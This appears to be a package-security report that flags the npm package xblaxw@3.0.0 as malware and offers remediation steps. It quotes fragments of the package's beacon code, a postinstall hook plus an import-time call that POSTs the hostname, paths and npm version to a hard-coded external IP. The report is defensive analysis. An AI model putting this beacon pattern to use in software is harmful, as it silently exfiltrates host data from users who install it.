xblaxw@3.0.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe automatic lifecycle hook and import-time behavior transmit host-identifying and project-location data to a hard-coded external endpoint. This is concrete unsolicited data exfiltration, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The endpoint receives information identifying the host and the project location without an explicit runtime action.
Mechanism
The beacon constructs a payload with the hostname, installation path, working directory, and npm version, then posts it to a hard-coded HTTP endpoint.
Attack narrative
The package runs a postinstall beacon and repeats it when its main entrypoint is imported. The beacon sends host and project metadata over HTTP to a hard-coded external IP address.
AI rationale
The automatic lifecycle hook and import-time behavior transmit host-identifying and project-location data to a hard-coded external endpoint. This is concrete unsolicited data exfiltration, so the package should be blocked.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs beacon.cjs automatically during installation.
- beacon.cjs sends an HTTP POST to 185.158.107.175:8787/_ah/dc.
- The payload includes the machine hostname, install path, working directory, and npm version.
- Importing index.js also triggers the beacon.
Evidence against
- The inspected payload contains package and host metadata; no credentials are collected in the inspected beacon code.
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "
High
Suspicious Lifecycle Evidence
The postinstall hook runs beacon.cjs automatically during installation.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "xblaxw";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
beacon.cjsView on unpkg · L3•matchType = malicious_source_fingerprint_signature
signature = a5258e167635ba3a
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = testrrrd@1.0.0
matchedPath = beacon.cjs
matchedIdentity = npm:dGVzdHJycmQ:1.0.0
similarity = 1.000
shingleOverlap = 2
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
beacon.cjsView on unpkg4var BEACON = "http://185.158.107.175:8787/_ah/dc";
var PKG = "xblaxw";
function _post(payload) {
return new Promise(function (resolve) {
try {
var u
High
Ai Review Evidence
beacon.cjs sends an HTTP POST to 185.158.107.175:8787/_ah/dc.
beacon.cjsView on unpkg · L426var payload = {
package: PKG,
hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
installPath: __dirname,
cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(),
userAgent: 'npm/' + (process.version |
High
Ai Review Evidence
The payload includes the machine hostname, install path, working directory, and npm version.
beacon.cjsView on unpkg · L2621req.write(data); req.end();
} catch (e) { resolve(); }
});
}
function fire() {
var payload = {
package: PKG,
hostname: (function () { try { retu
High
Ai Review Evidence
The payload includes the machine hostname, install path, working directory, and npm version.
beacon.cjsView on unpkg · L21index.jsView file
4try { require('./beacon.cjs').fire(); } catch (e) {}
// Export a defensive Proxy: any property access returns a no-op function, so a
// bund
High
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to xblaxw@3.0.0.
See all versions of xblaxw for other recorded verdicts.
- Avoid installing xblaxw@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.